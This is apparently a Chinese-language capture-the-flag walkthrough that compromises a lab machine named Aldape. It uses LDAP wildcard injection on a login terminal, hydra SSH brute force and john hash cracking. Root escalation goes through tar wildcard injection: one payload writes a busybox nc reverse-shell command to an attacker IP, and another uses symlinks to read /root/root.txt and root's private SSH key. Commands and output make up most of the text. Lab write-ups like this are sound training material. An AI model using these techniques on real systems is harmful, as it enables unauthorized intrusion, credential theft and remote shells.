

Aldape

端口扫描

```

PORT          STATE SERVICE VERSION
22/tcp        open  ssh      syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
389/tcp        open  ldap      syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
8084/tcp       open  websnp?   syn-ack ttl 64

| fingerprint-strings:
|   FourOhhFourRequest, GenericLines, GetRequest:
|
|   ____  ____  ____  ____
|   ____/
|   /___/ /_/ / ___ |/ ___/ /___
|   |/_ ___/ ___/ / |/_/ / ___/
|
|   INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
|   IDENTIFICATION REQUIRED
|   Username: Password:
|
|   NULL:
|
|   ____  ____  ____  ____
|   ____/
|   /___/ /_/ / ___ |/ ___/ /___
|   |/_ ___/ ___/ / |/_/ / ___/
|
|   INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<
|   IDENTIFICATION REQUIRED
|   Username:
|_

```

389是 LDAP , 8084好像是一个交互的页面

尝试直接 `nc` ，发现需要输入账号密码

```
~/Desktop/maze ► nc $IP 8084
```

```

      _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
      /  |  //  /  _ \  |  /  _ \  _ _ _ _ _ /
      / / |  //  //  //  //  //  //  //  //  //  //  //  //  //  //  //
      /  _ _ | /  //  //  //  //  //  //  //  //  //  //  //  //  //
      //  |  //  //  //  //  //  //  //  //  //  //  //  //  //  //
      //  |  //  //  //  //  //  //  //  //  //  //  //  //  //  //
      >> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<

```

```
[!] IDENTIFICATION REQUIRED
Username: test
Password: test

[-] ACCESS DENIED: INVALID DATA
```

用 `nmap` 的插件对389端口进行进一步枚举

```
~/Desktop/maze ► nmap -p389 -n -sV --script "ldap*" $IP
```

```

PORT      STATE SERVICE VERSION
389/tcp   open  ldap    OpenLDAP 2.2.X - 2.3.X
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|     namingContexts: dc=aldape,dc=dsz
|     supportedControl: 2.16.840.1.113730.3.4.18
|     supportedControl: 2.16.840.1.113730.3.4.2
|     supportedControl: 1.3.6.1.4.1.4203.1.10.1

```

```
| supportedControl: 1.3.6.1.1.22
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.826.0.1.3344810.2.3
| supportedControl: 1.3.6.1.1.13.2
| supportedControl: 1.3.6.1.1.13.1
| supportedControl: 1.3.6.1.1.12
| supportedExtension: 1.3.6.1.4.1.4203.1.11.1
| supportedExtension: 1.3.6.1.4.1.4203.1.11.3
| supportedExtension: 1.3.6.1.1.8
| supportedExtension: 1.3.6.1.1.21.3
| supportedExtension: 1.3.6.1.1.21.1
| supportedLDAPVersion: 3
|_ subschemaSubentry: cn=Subschema
MAC Address: 08:00:27:E9:F8:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

发现 `namingContexts: dc=aldape,dc=dsz` , 尝试使用 `ldapsearch` 进行匿名枚举, 但是没有什么其他的信息

```
ldapsearch -x -H ldap://$IP -b "dc=aldape,dc=dsz"
```

猜测8084的认证可能是通过 LDAP 查询的, 尝试用通配符注入

```
~/Desktop/maze nc $IP 8084
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<

[!] IDENTIFICATION REQUIRED
Username: *
Password: *

[+] AUTHENTICATION SUCCESSFUL
[*] NODE_INFO: Out of office. For any urgent issues, please contact tonglinggejimo@aldape.dsz.

~/Desktop/maze nc $IP 8084
>> INTERNAL DIRECTORY AUTH TERMINAL v1.0 <<

[!] IDENTIFICATION REQUIRED
Username: tonglinggejimo
Password: *

[+] AUTHENTICATION SUCCESSFUL
[*] NODE_INFO: Internal maintenance account.
```

一开始想的是通过布尔盲注拿密码, 失败了

直接爆 `ssh` 倒是爆出来了 `tonglinggejimo:tonglinggejimo`

```
~/Desktop/maze hydra -l tonglinggejimo -P tonglinggejimo.txt ssh://192.168.0.253 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-11 15:41:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 325 login tries (l:1/p:325), ~6 tries per task
[DATA] attacking ssh://192.168.0.253:22/
[22][ssh] host: 192.168.0.253 login: tonglinggejimo password: tonglinggejimo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-11 15:41:01
```

上来以后能发现对应的是一个脚本 `/opt/authtool/app.py` , 可以拿到一个凭据 `admin:30almaz` , 进行 LDAP 查询

```
ldapsearch -x -H ldap://$IP -D "cn=admin,dc=aldape,dc=dsz" -w '30almaz' -b "dc=aldape,dc=dsz"
```

```
# backup_admin, users, aldape.dsz
dn: uid=backup_admin,ou=users,dc=aldape,dc=dsz
objectClass: inetOrgPerson
cn: Backup Administrator
sn: Backup
uid: backup_admin
userPassword:: e1NTSEF9SUVSL0JsOVhLSFBnQTZMR0xBMkRrbk9ScVpIODJtd3U=
description: Account for backup jobs.
```

发现有个 `backup_admin` , 密码是 `{SSHA}IER/B19XKHPgA6LGLA2Dkn0yqZH82mwu` , 可能对应的就是另一个用户的密码

爆破, 获得凭据 `backup_admin:1prorodeo`

```
~/Desktop/maze john --wordlist=/usr/share/dict/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Salted-SHA1 [SHA1 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1prorodeo (?)
1g 0:00:00:01 DONE (2026-05-11 16:00) 0.8547g/s 11118Kp/s 11118Kc/s 11118Kc/s 1whizhole..1jfabolous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

和备份有关, 大概率是有定时任务, 上传 `pspy` 开启监听, 发现定时任务

```
2026/05/11 16:04:00 CMD: UID=0 PID=2631 | /bin/bash -c cd /opt/backup_source && tar -zcf
/var/backups/data/backup.tar.gz *
```

那就是 `tar` 通配符注入漏洞了

```
cat > test.sh << EOF
echo 'busybox nc 192.168.0.142:4444 -e sh' > /etc/sudoers.d/test
EOF
chmod +x test.sh
echo '' > '--checkpoint-action=exec=sh test.sh'
echo '' > '--checkpoint=1'

backup_admin ALL=(ALL:ALL) NOPASSWD:ALL
```

但是试了一会发现一直不触发, 这是因为 `busybox` 的 `tar` 没有这两个参数, 发现有 `-h` 这个参数, 可以跟随链接

```
: > -h
ln -s /root/root.txt loot_root.txt
```

```
backup_admin@Aldape:/opt/backup_source$ : > -h
ln -s /root/root.txt loot_root.txt
backup_admin@Aldape:/opt/backup_source$ cd /var/backups/data
backup_admin@Aldape:/var/backups/data$ ls
backup.tar.gz
backup_admin@Aldape:/var/backups/data$ tar -xzf backup.tar.gz -C /home/backup_admin/
backup_admin@Aldape:/var/backups/data$ cd /home/backup_admin/
backup_admin@Aldape:~$ ls
loot_root.txt
backup_admin@Aldape:~$ cat loot_root.txt
flag{root-4869d8a49139df45bcef13614821003c}
```

只能链接读个私钥拿 `root shell` 了

```
backup_admin@Aldape:/var/backups/data$ cd /opt/backup_source/
backup_admin@Aldape:/opt/backup_source$ ls
-h      loot_id_rsa  loot_root.txt  loot_shadow
backup_admin@Aldape:/opt/backup_source$ ln -s /root/.ssh/id_ed25519 loot_id_ed25519
backup_admin@Aldape:/opt/backup_source$ cd /var/backups/data/
backup_admin@Aldape:/var/backups/data$ tar -xzf backup.tar.gz -C /home/backup_admin/
backup_admin@Aldape:/var/backups/data$ ls ~
loot_id_ed25519  loot_root.txt  loot_shadow
backup_admin@Aldape:/var/backups/data$ cd ~
backup_admin@Aldape:~$ ssh-keygen -yf loot_id_ed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINqjhK393o9QhUUm3agypEiY4uGf/SuvZhtZHqFZqrqr root@Aldape
backup_admin@Aldape:~$ ssh -i loot_id_ed25519 root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.

      _
     _/_/
    _/_/_/
   _/_/_/_/
  _/_/_/_/_/
 _/_/_/_/_/_/
/_/_/_/_/_/_/

root@Aldape:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Aldape:~#
```